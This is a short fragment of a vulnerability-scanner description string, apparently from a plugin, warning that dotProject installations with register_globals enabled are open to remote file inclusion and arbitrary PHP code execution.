"The remote host is running dotProject, a web-based, open source,
project management application written in PHP. 

The installed version of dotProject fails to sanitize input to various
parameters and scripts before using it to include PHP code.  Provided
PHP's 'register_globals' setting is enabled, an unauthenticated
attacker may be able to exploit these flaws to view arbitrary files on
the remote host or to execute arbitrary PHP code, possibly taken from
third-party hosts." );
